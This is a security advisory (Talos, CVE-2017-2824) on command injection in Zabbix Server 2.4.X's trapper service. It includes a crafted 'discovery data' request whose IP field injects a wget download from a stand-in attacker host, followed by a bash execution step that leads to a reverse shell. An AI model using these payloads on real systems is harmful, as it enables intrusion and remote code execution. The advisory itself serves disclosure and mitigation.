Talos Vulnerability Report

TALOS-2017-0325

Zabbix Server Active Proxy Trapper Remote Code Execution Vulnerability

April 27, 2017
CVE Number

CVE-2017-2824

Summary

An exploitable code execution vulnerability exists in the trapper command functionality of Zabbix Server 2.4.X . A specially crafted set of packets can cause a command injection resulting in remote code execution. An attacker can make requests from an active Zabbix Proxy to trigger this vulnerability.

Tested Versions

Zabbix Server 2.4.8.r1

Product URLs

http://www.zabbix.com

CVSSv3 Score

9.0 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-88: Argument Injection or Modification

Details

The vulnerability lies within the ìTrapperî section of the Zabbix Code, this is the network service that allows the Proxies and the Server to communicate (TCP Port 10051) There are a set of API calls that the Zabbix Server exposes to the Zabbix proxy, the two that will be discussed are the ìdiscovery dataî and ìcommandî requests. Example data of these requests are shown below:

'{"request":"command","scriptid":1,"hostid":10001}'

'{"request":"discovery data","host":"zabbix-proxy.com","clock":10,
"data":[{"clock":10,"drule":1,"dcheck2,"type":0,"ipî:î10.0.0.1î, "dns":"zabbix-agent.com",    	ìport":10050,"key":"test","status":0,"value":"test_value"}]}

It should be noted that the ìrequestî command invokes a script located in the Zabbix database without any authentication occurring (which might be considered a bug in itself).

Another pivotal aspect of the vulnerability is that by default, Zabbix 2.4.X populates the MySQL database with 3 scripts inside of the scripts table:

# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
# scriptid == 2 == /usr/bin/traceroute {HOST.CONN} 2>&1
# scriptid == 3 == sudo /usr/bin/nmap -O {HOST.CONN} 2>&1

The problem lies in the fact that the {HOST.CONN} field actually gets replaced by the hostís IP address during the invocation of the script. The value that replaces {HOST.CONN} is located in the Zabbix ìinterfaceî table, and is stored as the ìIPî field as a VARCHAR(64). Thus, if an attacker can create an interface with a command injection as the IP address, and script with {HOST.CONN} is run via the ìcommandî request, the command injection will occur and a reverse shell can be gained.

The difficulty lies in actually getting a valid entry into the Zabbix ìhostî table. By default, an unauthenticated attacker cannot do this, it requires a minor configuration on the part of the system administrators, specifically in regards to Zabbixís Auto-discovery feature.

Zabbixís Auto-discovery and Auto-registration features allow for configuration of the Zabbix Server to occur based on the data presented Zabbix Server by the Zabbix Proxy. More specifically, if a hosts presents certain characteristics to the Zabbix Proxy, based on the configuration of the server, certain actions could be potentially taken, one of which causes the newly discovered host to get added to certain Zabbix database tables. When this occurs, a host is inserted into the ìhostsî table and also an entry into the Zabbix ìinterfaceî table will be created, with the IP address presented by the host being inserted into the IP column, without any validation of that IP address occurring.

Thus, by sending a ìdiscovery dataî request to the server with a suitable host, a command injection can be inserted into the database:

 write_script_cmd	=	'{
	"request":"discovery	data",
	"host":"zabbix-proxy.domain.fake",
	"clock":148535399,	
	"data":[{
	"clock":1485353070,
	"drule":88,
	"dcheck":174,
	"type":0,
	"ip":";wget -O	/tmp/s	http://attacker-ip/s;#",							
	"dns":"host28.domain.fake",
	"port":10050,
	"key":"sectest",
	"status":0,
	"value":"lnx<(^_^)>host"
}]}'	

Due to the size limitation of the ëipí field of the Zabbix ìInterfaceî table, a second host was inserted into the table with another IP address.

// Host 2
ìipî:î;/bin/bash /tmp/s;#î

After these two hosts were added, there was still the issue of not knowing the hostidís for the ìcommandî request, but this was easily solved by brute forcing backwards into the database since the command request would return a different response if the host actually existed or not, and once the hostidís of the injected hosts were known, they could be invoked directly, and a reverse shell could be gained.

Mitigation

By removing the three default script entries inside of the Zabbix Serverís ìZabbixî database, an attacker would be unable to actually execute code, even if they can insert hosts with spoofed addresses into the database. This should not affect an organizations current operations, unless teh scripts are actually used. This proposed fix can either be done directly from the database (use zabbix; delete * from scripts;) or from the GUI interface (Administration -> Scripts -> Checkmarks -> ìDelete Selectedî/îGoî).

Timeline

2017-03-22 - Vendor Disclosure
2017-04-27 - Public Release

Credit

Discovered by Lilith Wyatt of Cisco ASIG